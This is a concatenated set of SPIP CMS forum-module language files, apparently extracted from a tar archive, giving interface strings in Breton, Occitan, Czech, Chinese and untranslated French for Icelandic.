'forum_valider' => 'Kadarnaat an dibab-mañ',
'forum_voir_avant' => 'Rakwelet ar gemennadenn a-raok kas anezhi', # MODIF
'forum_votre_email' => 'Ho postel :', # MODIF
'forum_votre_nom' => 'Hoc’h anv (pe lesanv) :', # MODIF
'forum_vous_enregistrer' => 'Evit kemer perzh er forom-mañ e rankit bezañ enrollet en a-raok.
Trugarez da skrivañ amañ dindan an titouroù hiniennel zo bet roet deoc’h.
Ma n’oc’h ket enrollet c’hoazh e rankit ',
'forum_vous_inscrire' => 'en em enskrivañ.',
// I
'icone_poster_message' => 'Kas ur gemennadenn',
'icone_suivi_forum' => 'War ar forom foran : @nb_forums@ evezhiadenn',
'icone_suivi_forums' => 'Heuliañ/merañ ar foromoù',
'icone_supprimer_message' => 'Diverkañ ar gemennadenn-mañ',
'icone_valider_message' => 'Asantiñ d’ar gemennadenn-mañ',
'info_activer_forum_public' => '<i>Evit enaouiñ ar foromoù foran, dibabit un doare da habaskaat dre ziouer:</i>', # MODIF
'info_appliquer_choix_moderation' => 'Lakaat an dibab habaskaat-mañ e pleustr :',
'info_config_forums_prive' => 'E lodenn brevez al lec’hienn e c’hellit ober gant seurtoù foromoù disheñvel :', # MODIF
'info_config_forums_prive_admin' => 'Ur forom miret evit merourien al lec’hienn hepken :',
'info_config_forums_prive_global' => 'Ur forom hollek, digor d’an holl skridaozerien :',
'info_config_forums_prive_objets' => 'Ur forom dindan pep pennad, berrskrid, lec’hienn menegeret, h.a. :',
'info_desactiver_forum_public' => 'Na implijout ar foromoù foran. Gallout a raint bezañ aotreet war ar pennadoù dibabet ganeoc’h, unan hag unan; ne’z aint ket en-dro er rubrikennoù, er berrskridoù, hag all...',
'info_envoi_forum' => 'Kas ar foromoù da aozerien ar pennadoù',
'info_fonctionnement_forum' => 'Mont en-dro ar forom :',
'info_gauche_suivi_forum_2' => 'Pajenn <i>heuliañ ar foromoù</i> a dalvez da verañ ho lec’hienn, ha ket da dabutal pe da skridaozañ. Warni emañ an holl evezhiadennoù bet graet war foromoù al lec’hienn (lodennoù foran ha prevez), deoc’h da c’hallout o merañ.', # MODIF
'info_liens_syndiques_3' => 'forom',
'info_liens_syndiques_4' => 'zo',
'info_liens_syndiques_5' => 'forom',
'info_liens_syndiques_6' => 'zo',
'info_liens_syndiques_7' => 'o c’hortoz bezañ asantet',
'info_mode_fonctionnement_defaut_forum_public' => 'Mont en-dro dre ziouer ar foromoù foran',
'info_option_email' => 'Pa vez kaset un evezhiadenn nevez gant ur gweladenner er forom diwar-benn ur pennad resis,
e c’hell skridaozerien ar pennad bezañ kelaouet eus kement-se dre bostel.
Ret eo deoc’h lavarout evit pep doare forom daoust ha fellout a ra deoc’h e vefe graet pe get.',
'info_pas_de_forum' => 'forom ebet',
'info_question_visiteur_ajout_document_forum' => 'M’hoc’h eus c’hoant da aotren ar weladennerien da stagañ restroù (skeudennoù, son, ...) ouzh o c’hemennadennoù war ar foromoù, neuze eo dav skrivañ amañ peseurt astennoù teulioù a vo aotreet war ar foromoù (da skouer : gif, png, jpg, mp3).', # MODIF
'info_question_visiteur_ajout_document_forum_format' => 'M’hoc’h eus c’hoant da aotren an holl seurtoù restroù en deus SPIP fiziañs enno, neuze lakait ur steredennig. Kuit da aotren tra ebet, na lakait netra !', # MODIF
'item_activer_forum_administrateur' => 'Gweredekaat forom ar verourien',
'item_config_forums_prive_global' => 'Gweredekaat forom ar skridaozerien',
'item_config_forums_prive_objets' => 'Gweredekaat ar foromoù-se',
'item_desactiver_forum_administrateur' => 'Diweredekaat forom ar verourien',
'item_non_config_forums_prive_global' => 'Diweredekaat forom ar skridaozerien',
'item_non_config_forums_prive_objets' => 'Diweredekaat ar foromoù-mañ',
// L
'lien_reponse_article' => 'Respont d’ar pennad',
'lien_reponse_breve_2' => 'Respont d’ar berrskrid',
'lien_reponse_rubrique' => 'Respont d’ar rubrikenn',
'lien_reponse_site_reference' => 'Respont d’al lec’hienn menegeret :', # MODIF
// O
'onglet_messages_internes' => 'Kemennadennoù diabarzh',
'onglet_messages_publics' => 'Kemennadennoù foran',
'onglet_messages_vide' => 'kemennadennoù hep testenn',
// R
'repondre_message' => 'Respont d’ar gemennadenn-mañ',
// S
'statut_original' => 'orin',
// T
'text_article_propose_publication_forum' => 'Gallout a rit reiñ hoc’h ali war ar forom stag ouzh ar pennad-mañ (e traoñ ar bajenn)',
'texte_en_cours_validation_forum' => 'Gallout a rit reiñ hoc’h ali er foromoù stag outo.',
'titre_cadre_forum_administrateur' => 'Forom prevez ar verourien',
'titre_cadre_forum_interne' => 'Forom diabarzh',
'titre_config_forums_prive' => 'Foromoù al lodenn brevez',
'titre_forum' => 'Forom',
'titre_forum_suivi' => 'Heuliañ ar foromoù',
'titre_page_forum_suivi' => 'Heuliañ ar foromoù'
);
?>
forum_oc_lms.php 0000666 00000013464 15252247467 0007773 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/forum?lang_cible=oc_lms
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_radio_articles_futurs' => 'aus articles futurs solament (brisa d’accion sus la basa de donadas).',
'bouton_radio_articles_tous' => 'aus articles tots sens excepcion',
'bouton_radio_articles_tous_sauf_forum_desactive' => 'a tots los articles, fòra quilhs que lor forum es desactivat.',
'bouton_radio_enregistrement_obligatoire' => 'Registrament obligatòri (los utilizaires se deven abonar en donar lor adreiça e-mail avans de poder mandar de las contribucions).',
'bouton_radio_moderation_priori' => 'Moderacion a priòri (las
contribucions apareissen en public nonmàs se los administrators
las an validadas).', # MODIF
'bouton_radio_modere_abonnement' => 'moderat emb abonament',
'bouton_radio_modere_posteriori' => 'moderat a posteriòri', # MODIF
'bouton_radio_modere_priori' => 'moderat a priòri', # MODIF
'bouton_radio_publication_immediate' => 'Publicar los messatges còp sec
(las contribucions apareissen tanleu mandadas, los administrators las pòden
suprimir puei).',
// F
'form_pet_message_commentaire' => 'Un messatge, una remarca?',
'forum' => 'Forum',
'forum_acces_refuse' => 'Podetz pas mai accedir a quilhs forums.',
'forum_attention_dix_caracteres' => '<b>Atencion!</b> vòstre messatge deu téner aumens detz caracters.',
'forum_attention_trois_caracteres' => '<b>Atencion!</b> vòstre títol deu téner aumens tres caracters.',
'forum_avez_selectionne' => 'Avetz seleccionat:',
'forum_cliquer_retour' => 'Clicatz <a href=\'@retour_forum@\'>aicí</a> per contunhar.',
'forum_forum' => 'forum',
'forum_info_modere' => 'Queste forum es moderat a priòri: vòstra contribucion pareisserá nonmàs après qu’un administrator dau sit l’aja validada.', # MODIF
'forum_lien_hyper' => '<b>Liam ipertext</b> (opcionau)', # MODIF
'forum_message_definitif' => 'Messatge definitiu : mandar au sit',
'forum_message_trop_long' => 'Vòstre messatge es tròp long. La lonjor maximala es de 20 000 caracters.', # MODIF
'forum_ne_repondez_pas' => 'Respondatz pas a quel e-mail mas per lo forum a l’adreiça seguenta: ', # MODIF
'forum_page_url' => '(se vòstre messatge se referís a un article publicat per lo web, o a una pagina que baile mai d’informacions, podetz marcar çai sos lo títol de la pagina e son adreiça URL.)',
'forum_poste_par' => 'Messatge poste@parauteur@ que fai seguda a vòstre article.', # MODIF
'forum_qui_etes_vous' => '<b>Quau setz?</b> (opcionau)', # MODIF
'forum_texte' => 'Text de vòstre messatge:', # MODIF
'forum_titre' => 'Títol:', # MODIF
'forum_url' => 'URL:', # MODIF
'forum_valider' => 'Validar quela chausida',
'forum_voir_avant' => 'Veire lo messatge avans de lo mandar', # MODIF
'forum_votre_email' => 'Vòstra adreiça e-mail:', # MODIF
'forum_votre_nom' => 'Vòstre nom (o pseudonim):', # MODIF
'forum_vous_enregistrer' => 'Per participar a
queu forum, d’en primier vos chau registrar. Mercés
de marcar çai sos l’identificant personau qu’avetz recebut.
Se setz pas registrat/ada, avetz de',
'forum_vous_inscrire' => 'vos inscriure',
// I
'icone_poster_message' => 'Postar un messatge',
'icone_suivi_forum' => 'Segut dau forum public: @nb_forums@ contribucion(s)',
'icone_suivi_forums' => 'Segre/gerir los forums',
'icone_supprimer_message' => 'Suprimir queu messatge',
'icone_valider_message' => 'Validar queu messatge',
'info_activer_forum_public' => '<i>Per activar los forums publics, volhatz chausir lor mòde de moderacion predefinit:</i>', # MODIF
'info_appliquer_choix_moderation' => 'Aplicar quela chausida de moderacion:',
'info_desactiver_forum_public' => 'Desactivar l’utilizacion daus forums publics. Los forums publics poirán èsser autorizats au cas per cas subre los articles; serán proïbits subre las rubricas, brevas, etc.',
'info_envoi_forum' => 'Enviament daus forums aus autors daus articles',
'info_fonctionnement_forum' => 'Foncionament dau forum:',
'info_gauche_suivi_forum_2' => 'La pagina de <i>segut daus forums</i> es un esplech de gestion dau vòstre sit (mas es pas un espaci per discutir o per redigir). Aficha totas las contribucions dau forum public de quel article e vos permet de gerir quelas contribucions.', # MODIF
'info_liens_syndiques_3' => 'forums',
'info_liens_syndiques_4' => 'son',
'info_liens_syndiques_5' => 'forum',
'info_liens_syndiques_6' => 'es',
'info_liens_syndiques_7' => 'en espera de validacion',
'info_mode_fonctionnement_defaut_forum_public' => 'Mòde de foncionament predefinit daus forums publics',
'info_option_email' => 'Quand un vesitaire dau sit manda un messatge nuòu au forum
associat a un article, se’n pòt avisar los autors
de l’article per e-mail. Desiratz d’utilizar quela opcion?', # MODIF
'info_pas_de_forum' => 'Brisa de forum',
'item_activer_forum_administrateur' => 'Activar lo forum daus administrators',
'item_desactiver_forum_administrateur' => 'Desactivar lo forum daus administrators',
// L
'lien_reponse_article' => 'Responsa a l’article',
'lien_reponse_breve_2' => 'Responsa a la breva',
'lien_reponse_rubrique' => 'Responsa a la rubrica',
'lien_reponse_site_reference' => 'Responsa au sit referenciat:', # MODIF
// O
'onglet_messages_internes' => 'Messatges internes',
'onglet_messages_publics' => 'Messatges publics',
'onglet_messages_vide' => 'Messatges sens text',
// R
'repondre_message' => 'Respondre a queu messatge',
// T
'titre_cadre_forum_administrateur' => 'Forum privat daus administrators',
'titre_cadre_forum_interne' => 'Forum interne',
'titre_forum' => 'Forum',
'titre_forum_suivi' => 'Segut daus forums',
'titre_page_forum_suivi' => 'Segut daus forums'
);
?>
forum_cs.php 0000666 00000014273 15252247467 0007123 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/forum?lang_cible=cs
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_radio_articles_futurs' => 'pouze k budoucím článkům (žádná akce v databázi).',
'bouton_radio_articles_tous' => 'ke všem článkům bez výjimky.',
'bouton_radio_articles_tous_sauf_forum_desactive' => 'ke všem článkům s výjimkou těch, kde je vypnutá diskusní skupina.',
'bouton_radio_enregistrement_obligatoire' => 'Povinná registrace (uživatelé se musí nejprve přihlásit zadáním své elektronické adresy a teprve potom mohou zasílat své příspěvky).',
'bouton_radio_moderation_priori' => 'Moderovaná skupina (příspěvky
budou zveřejněny až po schválení jedním
ze správců).', # MODIF
'bouton_radio_modere_abonnement' => 'na základě přihlášení',
'bouton_radio_modere_posteriori' => 'moderování ex post', # MODIF
'bouton_radio_modere_priori' => 'moderování předem', # MODIF
'bouton_radio_publication_immediate' => 'Okamžité zveřejňování zpráv
(příspěvky se zobrazují okamžitě,
správci je mohou odstranit dodatečně).',
// D
'documents_interdits_forum' => 'Dokumenty jsou ve fóru zakázané',
// F
'form_pet_message_commentaire' => 'Chcete nám něco sdělit nebo máte nějaké připomínky?',
'forum' => 'Fórum',
'forum_acces_refuse' => 'K těmto diskusním skupinám již nemáte přístup.',
'forum_attention_dix_caracteres' => '<b>Varování!</b> Zpráva musí obsahovat minimálně deset znaků.',
'forum_attention_trois_caracteres' => '<b>Varování!</b> Název musí obsahovat minimálně deset znaků.',
'forum_attention_trop_caracteres' => '<b>Varování !</b> vaše zpráva je příliš dlouhá(@compte@ znaků) : aby jí bylo možné uložit, nesmí obsahovat více než @max@ znaků.', # MODIF
'forum_avez_selectionne' => 'Zvolili jste:',
'forum_cliquer_retour' => 'Pokračujte klepnutím <a href=\'@retour_forum@\'>na tento odkaz</a>.',
'forum_forum' => 'diskusní skupina',
'forum_info_modere' => 'Tato diskusní skupina je moderovaná: vaše příspěvky se zobrazí až po schválení správcem tohoto webu.', # MODIF
'forum_lien_hyper' => '<b>Hypertextový odkaz</b> (volitelné)', # MODIF
'forum_message_definitif' => 'Závěrečná zpráva: odesláno na web',
'forum_message_trop_long' => 'Zpráva je příliš dlouhá. Maximum je 20.000 znaků.', # MODIF
'forum_ne_repondez_pas' => 'Neodpovídejte na tuto zprávu. Odpověď zveřejněte v rámci skupiny na adrese:', # MODIF
'forum_page_url' => '(Týká-li se zpráva článku zveřejněného na webu nebo stránky s doplňujícími informacemi, zadejte dále název stránky a její adresu).',
'forum_poste_par' => 'Zpráva od posted@parauteur@ na základě vašeho článku.', # MODIF
'forum_qui_etes_vous' => '<b>Kdo jste?</b> (volitelné)', # MODIF
'forum_texte' => 'Text zprávy:', # MODIF
'forum_titre' => 'Předmět:', # MODIF
'forum_url' => 'Adresa URL:', # MODIF
'forum_valider' => 'Potvrdit výběr',
'forum_voir_avant' => 'Před odesláním zprávu zobrazit', # MODIF
'forum_votre_email' => 'Váš e-mail:', # MODIF
'forum_votre_nom' => 'Vaše jméno (resp. přezdívka):', # MODIF
'forum_vous_enregistrer' => 'Této diskusní skupiny se můžete účastnit
až po zaregistrování. Děkujeme vám
za zadání identifikačních údajů.
Nejste-li doposud zaregistrováni, musíte ',
'forum_vous_inscrire' => 'tak učinit nyní.',
// I
'icone_poster_message' => 'Odeslat zprávu',
'icone_suivi_forum' => 'Sledování veřejné diskusní skupiny: @nb_forums@ příspěvky',
'icone_suivi_forums' => 'Správa diskusních skupin',
'icone_supprimer_message' => 'Ostranit zprávu',
'icone_valider_message' => 'Schválit zprávu',
'info_activer_forum_public' => '<i>Chcete-li zapnout veřejné diskusní skupiny musíte zvolit jejich
standardní způsob moderování:</i>', # MODIF
'info_appliquer_choix_moderation' => 'Použít tento způsob moderování:',
'info_desactiver_forum_public' => 'Vypnout veřejné diskusní skupiny
. Tyto skupiny bude možno zapnout ad hoc
u jednotlivých článků; budou zakázány u sekcí, novinek atd.',
'info_envoi_forum' => 'Zasílání diskusních skupin autorům článků',
'info_fonctionnement_forum' => 'Fungování diskusní skupiny:',
'info_gauche_suivi_forum_2' => 'Stránka pro <i>sledování diskusních skupin</i> je určena ke správě vašeho webu (nejedná se o prostor pro diskusi ani pro redigování). Jsou na ní zobrazeny všechny diskusní příspěvky z veřejné skupiny a umožňuje vám jejich správu.', # MODIF
'info_liens_syndiques_3' => 'diskusní skupiny',
'info_liens_syndiques_4' => 'jsou',
'info_liens_syndiques_5' => 'diskusní skupina',
'info_liens_syndiques_6' => 'je',
'info_liens_syndiques_7' => 'čekající na schválení.',
'info_mode_fonctionnement_defaut_forum_public' => 'Standardní režim veřejných diskusních skupin',
'info_option_email' => 'Autoři článku mohou být informováni emailem o tom, že návštěvníci
webu poslali zprávu do diskusní skupiny, týkající se
jejich článku. Chcete tuto možnost použít?', # MODIF
'info_pas_de_forum' => 'bez diskusní skupiny',
'item_activer_forum_administrateur' => 'Zapnout diskusní skupinu správců',
'item_desactiver_forum_administrateur' => 'Vypnout diskusní skupinu správců',
// L
'lien_reponse_article' => 'Odpověď na článek',
'lien_reponse_breve_2' => 'Odpověď na novinku',
'lien_reponse_rubrique' => 'Odpověď na sekci',
'lien_reponse_site_reference' => 'Odpověď na web, na nějž vede odkaz:', # MODIF
// O
'onglet_messages_internes' => 'Interní zprávy',
'onglet_messages_publics' => 'Veřejné zprávy',
'onglet_messages_vide' => 'Zprávy bez textu',
// R
'repondre_message' => 'Reagovat na tuto zprávu',
// T
'titre_cadre_forum_administrateur' => 'Soukromá diskusní skupina správců',
'titre_cadre_forum_interne' => 'Interní diskusní skupina',
'titre_forum' => 'Diskusní skupina',
'titre_forum_suivi' => 'Sledování diskusních skupin',
'titre_page_forum_suivi' => 'Sledování diskusních skupin'
);
?>
forum_zh.php 0000666 00000011520 15252247467 0007127 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/forum?lang_cible=zh
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_radio_articles_futurs' => '只为未来的文章 (数据库无动作).',
'bouton_radio_articles_tous' => '为所有文章.',
'bouton_radio_articles_tous_sauf_forum_desactive' => '为所有文章,除了那些论坛尚未激活的.',
'bouton_radio_enregistrement_obligatoire' => '必须注册
(在能发表出版物前
用户必须提供电子邮件订阅).',
'bouton_radio_moderation_priori' => '预存 (
出版物只能管理员确认
才能显示出来).', # MODIF
'bouton_radio_modere_abonnement' => '通过订阅预存', # MODIF
'bouton_radio_modere_posteriori' => '预存后', # MODIF
'bouton_radio_modere_priori' => '预存前', # MODIF
'bouton_radio_publication_immediate' => '直接消息出版物
(投稿发送后可显示, 管理员可以
删除它们).',
// F
'form_pet_message_commentaire' => '其它消息和评论?',
'forum' => '论坛',
'forum_acces_refuse' => '您已经无权访问这些论坛.',
'forum_attention_dix_caracteres' => '<b>警告!</b> 您的消息少于十个字符.', # MODIF
'forum_attention_trois_caracteres' => '<b>警告!</b> 您的标题少于三个字符.', # MODIF
'forum_avez_selectionne' => '您已选择:',
'forum_cliquer_retour' => '单击 <a href=\'@retour_forum@\'>这里</a> 继续.',
'forum_forum' => '论坛',
'forum_info_modere' => '论坛是预缓冲的: 您的投稿只有被站点管理员确认才能显示.', # MODIF
'forum_lien_hyper' => '<b>超链接</b> (可选)', # MODIF
'forum_message_definitif' => '最后消息: 发送到站点',
'forum_message_trop_long' => '您的消息过长. 最大长度为20000个字符.', # MODIF
'forum_ne_repondez_pas' => '请勿回复该信件,请到如下地址的论坛回复:', # MODIF
'forum_page_url' => '(如果您的消息引用了web上发表的文章请提供进一步的消息, 请输入页头和它的URL).',
'forum_poste_par' => '您文章@parauteur@之后后发表的信息.', # MODIF
'forum_qui_etes_vous' => '<b>您是谁?</b> (可选)', # MODIF
'forum_texte' => '消息正文:', # MODIF
'forum_titre' => '标题:', # MODIF
'forum_url' => 'URL:', # MODIF
'forum_valider' => '使选择生效',
'forum_voir_avant' => '发表前预览', # MODIF
'forum_votre_email' => '您的邮件地址:', # MODIF
'forum_votre_nom' => '您的名字(或昵称):', # MODIF
'forum_vous_enregistrer' => '在参与论坛前,您必须注册. 谢谢您填写已经递交过的个人信息.
如果你您尚未注册, 您必须',
'forum_vous_inscrire' => '请注册。',
// I
'icone_poster_message' => '发表消息',
'icone_suivi_forum' => '跟踪公共论坛: @nb_forums@ 出版物',
'icone_suivi_forums' => '跟踪/管理论坛',
'icone_supprimer_message' => '删除消息',
'icone_valider_message' => '使消息有效',
'info_activer_forum_public' => '<i>若要激活公共论坛, 请选择默认模式:</i>', # MODIF
'info_appliquer_choix_moderation' => '应用缓冲选择:',
'info_desactiver_forum_public' => '停用公共论坛.
公共论坛只能通过一篇一篇文章的访问;
它们的专栏和简要等将被禁止.',
'info_envoi_forum' => '发送论坛给文章作者 ',
'info_fonctionnement_forum' => '论坛操作:',
'info_gauche_suivi_forum_2' => ' <i>论坛跟踪</i> 页是你站点的一个管理工具(不是讨论或编辑). 它显示这篇文章的所有论坛出版物并允许你管理这些出版物.', # MODIF
'info_liens_syndiques_3' => '论坛',
'info_liens_syndiques_4' => '是',
'info_liens_syndiques_5' => '论坛',
'info_liens_syndiques_6' => '是',
'info_liens_syndiques_7' => '未确认.',
'info_mode_fonctionnement_defaut_forum_public' => '公众论坛的缺省模式',
'info_option_email' => '当一个站点访问者在论坛发表一个关联文章的消息
, 文章的作者能被电子邮件通知
. 你愿意用这个选项吗?', # MODIF
'info_pas_de_forum' => '没有论坛',
'item_activer_forum_administrateur' => '激活管理者论坛',
'item_desactiver_forum_administrateur' => '使管理论坛不可用',
// L
'lien_reponse_article' => '回应文章',
'lien_reponse_breve_2' => '回应新闻',
'lien_reponse_rubrique' => '回应专栏',
'lien_reponse_site_reference' => '回应到参考站点:', # MODIF
// O
'onglet_messages_internes' => '内容消息',
'onglet_messages_publics' => '公众消息',
'onglet_messages_vide' => '无文字消息',
// R
'repondre_message' => '回复消息',
// T
'titre_cadre_forum_administrateur' => '管理者私有论坛',
'titre_cadre_forum_interne' => '内部论坛',
'titre_forum' => '内部论坛',
'titre_forum_suivi' => '论坛跟踪',
'titre_page_forum_suivi' => '论坛跟踪'
);
?>
forum_isl.php 0000666 00000025237 15252247467 0007307 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://www.spip.net/trad-lang/
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'aucun_message_forum' => 'Aucun message de forum', # NEW
// B
'bouton_radio_articles_futurs' => 'aux articles futurs uniquement (pas d\'action sur la base de données).', # NEW
'bouton_radio_articles_tous' => 'à tous les articles sans exception.', # NEW
'bouton_radio_articles_tous_sauf_forum_desactive' => 'à tous les articles, sauf ceux dont le forum est désactivé.', # NEW
'bouton_radio_enregistrement_obligatoire' => 'Enregistrement obligatoire (les
utilisateurs doivent s\'abonner en fournissant leur adresse e-mail avant de
pouvoir poster des contributions).', # NEW
'bouton_radio_moderation_priori' => 'Modération à priori (les
contributions ne s\'affichent publiquement qu\'après validation par les
administrateurs).', # NEW
'bouton_radio_modere_abonnement' => 'sur abonnement', # NEW
'bouton_radio_modere_posteriori' => 'modération à posteriori', # NEW
'bouton_radio_modere_priori' => 'modération à priori', # NEW
'bouton_radio_publication_immediate' => 'Publication immédiate des messages
(les contributions s\'affichent dès leur envoi, les administrateurs peuvent
les supprimer ensuite).', # NEW
// D
'documents_interdits_forum' => 'Documents interdits dans le forum', # NEW
// E
'erreur_enregistrement_message' => 'Votre message n\'a pas pu être enregistré en raison d\'un problème technique', # NEW
// F
'form_pet_message_commentaire' => 'Un message, un commentaire ?', # NEW
'forum' => '<NEW> Forum',
'forum_acces_refuse' => 'Vous n\'avez plus accès à ces forums.', # NEW
'forum_attention_dix_caracteres' => '<b>Attention !</b> votre message doit contenir au moins dix caractères.', # NEW
'forum_attention_message_non_poste' => 'Attention, vous n\'avez pas posté votre message !', # NEW
'forum_attention_trois_caracteres' => '<b>Attention !</b> votre titre doit contenir au moins trois caractères.', # NEW
'forum_attention_trop_caracteres' => '<b>Attention !</b> votre message est trop long (@compte@ caractères) : pour pouvoir être enregistré, il ne doit pas dépasser @max@ caractères.', # NEW
'forum_avez_selectionne' => 'Vous avez sélectionné :', # NEW
'forum_cliquer_retour' => 'Cliquez <a href=\'@retour_forum@\'>ici</a> pour continuer.', # NEW
'forum_forum' => 'forum', # NEW
'forum_info_modere' => 'Ce forum est modéré à priori : votre contribution n\'apparaîtra qu\'après avoir été validée par un administrateur du site.', # NEW
'forum_lien_hyper' => 'Lien hypertexte', # NEW
'forum_message' => 'Votre message', # NEW
'forum_message_definitif' => 'Message définitif : envoyer au site', # NEW
'forum_message_trop_long' => 'Votre message est trop long. La taille maximale est de 20000 caractères.', # NEW
'forum_ne_repondez_pas' => 'Ne répondez pas à ce mail mais sur le forum à l\'adresse suivante :', # NEW
'forum_page_url' => '(Si votre message se réfère à un article publié sur le Web, ou à une page fournissant plus d\'informations, vous pouvez indiquer ci-après le titre de la page et son adresse.)', # NEW
'forum_permalink' => 'Lien permanent vers le commentaire', # NEW
'forum_poste_par' => 'Message posté@parauteur@ à la suite de l\'article « @titre@ ».', # NEW
'forum_qui_etes_vous' => 'Qui êtes-vous ?', # NEW
'forum_saisie_texte_info' => 'Ce formulaire accepte les raccourcis SPIP <code>[->url] {{gras}} {italique} <quote> <code></code> et le code HTML <code><q> <del> <ins></code>. Pour créer des paragraphes, laissez simplement des lignes vides.', # NEW
'forum_texte' => 'Texte de votre message', # NEW
'forum_titre' => 'Titre', # NEW
'forum_url' => 'Votre site web', # NEW
'forum_valider' => 'Valider ce choix', # NEW
'forum_voir_avant' => 'Prévisualiser', # NEW
'forum_votre_email' => 'Votre adresse email', # NEW
'forum_votre_nom' => 'Votre nom', # NEW
'forum_vous_enregistrer' => 'Pour participer à
ce forum, vous devez vous enregistrer au préalable. Merci
d\'indiquer ci-dessous l\'identifiant personnel qui vous a
été fourni. Si vous n\'êtes pas enregistré, vous devez', # NEW
'forum_vous_inscrire' => 'vous inscrire.', # NEW
// I
'icone_bruler_message' => 'Signaler comme Spam', # NEW
'icone_bruler_messages' => 'Signaler comme Spam', # NEW
'icone_legitimer_message' => 'Signaler comme licite', # NEW
'icone_poster_message' => 'Poster un message', # NEW
'icone_suivi_forum' => 'Suivi du forum public : @nb_forums@ contribution(s)', # NEW
'icone_suivi_forums' => 'Suivre/gérer les forums', # NEW
'icone_supprimer_message' => 'Supprimer ce message', # NEW
'icone_supprimer_messages' => 'Supprimer ces messages', # NEW
'icone_valider_message' => 'Valider ce message', # NEW
'icone_valider_messages' => 'Valider ces messages', # NEW
'icone_valider_repondre_message' => 'Valider & Répondre à ce message', # NEW
'info_1_message_forum' => '1 message de forum', # NEW
'info_activer_forum_public' => 'Pour activer les forums publics, veuillez choisir leur mode
de modération par défaut :', # NEW
'info_appliquer_choix_moderation' => 'Appliquer ce choix de modération :', # NEW
'info_config_forums_prive' => 'Dans l’espace privé du site, vous pouvez activer plusieurs types de forums :', # NEW
'info_config_forums_prive_admin' => 'Un forum réservé aux administrateurs du site :', # NEW
'info_config_forums_prive_global' => 'Un forum global, ouvert à tous les rédacteurs :', # NEW
'info_config_forums_prive_objets' => 'Un forum sous chaque article, brève, site référencé, etc. :', # NEW
'info_desactiver_forum_public' => 'Désactiver l\'utilisation des forums
publics. Les forums publics pourront être autorisés au cas par cas
sur les articles ; ils seront interdits sur les rubriques, brèves, etc.', # NEW
'info_envoi_forum' => 'Envoi des forums aux auteurs des articles', # NEW
'info_fonctionnement_forum' => 'Fonctionnement du forum :', # NEW
'info_forums_liees_mot' => 'Les messages de forum liés à ce mot', # NEW
'info_gauche_suivi_forum_2' => 'La page de <i>suivi des forums</i> est un outil de gestion de votre site (et non un espace de discussion ou de rédaction). Elle affiche toutes les contributions des forums du site, aussi bien celles du site public que de l\'espace privé et vous permet de gérer ces contributions.', # NEW
'info_liens_syndiques_3' => 'forums', # NEW
'info_liens_syndiques_4' => 'sont', # NEW
'info_liens_syndiques_5' => 'forum', # NEW
'info_liens_syndiques_6' => 'est', # NEW
'info_liens_syndiques_7' => 'en attente de validation', # NEW
'info_liens_texte' => 'Lien(s) contenu(s) dans le texte du message', # NEW
'info_liens_titre' => 'Lien(s) contenu(s) dans le titre du message', # NEW
'info_mode_fonctionnement_defaut_forum_public' => 'Mode de fonctionnement par défaut des forums publics', # NEW
'info_nb_messages_forum' => '@nb@ messages de forum', # NEW
'info_option_email' => 'Lorsqu\'un visiteur du site poste un nouveau message dans le forum associé à un article, les auteurs de l\'article peuvent être prévenus de ce message par e-mail. Indiquer pour chaque type de forum s\'il faut utiliser cette option.', # NEW
'info_pas_de_forum' => 'pas de forum', # NEW
'info_question_visiteur_ajout_document_forum' => 'Si vous souhaitez autoriser les visiteurs à joindre des documents (images, sons...) à leurs messages de forum, indiquez ci-dessous la liste des extensions de documents autorisés pour les forums (ex: gif, jpg, png, mp3).', # NEW
'info_question_visiteur_ajout_document_forum_format' => 'Si vous souhaitez autoriser tous les types de documents considérés comme fiables par SPIP, mettez une étoile. Pour ne rien autoriser, n\'indiquez rien.', # NEW
'interface_formulaire' => 'Interface formulaire', # NEW
'interface_onglets' => 'Interface avec onglets', # NEW
'item_activer_forum_administrateur' => 'Activer le forum des administrateurs', # NEW
'item_config_forums_prive_global' => 'Activer le forum des rédacteurs', # NEW
'item_config_forums_prive_objets' => 'Activer ces forums', # NEW
'item_desactiver_forum_administrateur' => 'Désactiver le forum des administrateurs', # NEW
'item_non_config_forums_prive_global' => 'Désactiver le forum des rédacteurs', # NEW
'item_non_config_forums_prive_objets' => 'Désactiver ces forums', # NEW
// L
'lien_reponse_article' => 'Réponse à l\'article', # NEW
'lien_reponse_breve_2' => 'Réponse à la brève', # NEW
'lien_reponse_message' => 'Réponse au message', # NEW
'lien_reponse_rubrique' => 'Réponse à la rubrique', # NEW
'lien_reponse_site_reference' => 'Réponse au site référencé', # NEW
// M
'messages_aucun' => 'Aucun', # NEW
'messages_meme_auteur' => 'Tous les messages de cet auteur', # NEW
'messages_meme_email' => 'Tous les messages de cet email', # NEW
'messages_meme_ip' => 'Tous les messages de cette IP', # NEW
'messages_off' => 'Supprimés', # NEW
'messages_perso' => 'Personnels', # NEW
'messages_privadm' => 'Administrateurs', # NEW
'messages_prive' => 'Privés', # NEW
'messages_privoff' => 'Supprimés', # NEW
'messages_privrac' => 'Généraux', # NEW
'messages_prop' => 'Proposés', # NEW
'messages_publie' => 'Publiés', # NEW
'messages_spam' => 'Spam', # NEW
'messages_tous' => 'Tous', # NEW
// O
'onglet_messages_internes' => 'Messages internes', # NEW
'onglet_messages_publics' => 'Messages publics', # NEW
'onglet_messages_vide' => 'Messages sans texte', # NEW
// R
'repondre_message' => '<NEW> Répondre à ce message',
// S
'statut_off' => 'Supprimé', # NEW
'statut_original' => 'original', # NEW
'statut_prop' => 'Proposé', # NEW
'statut_publie' => 'Publié', # NEW
'statut_spam' => 'Spam', # NEW
// T
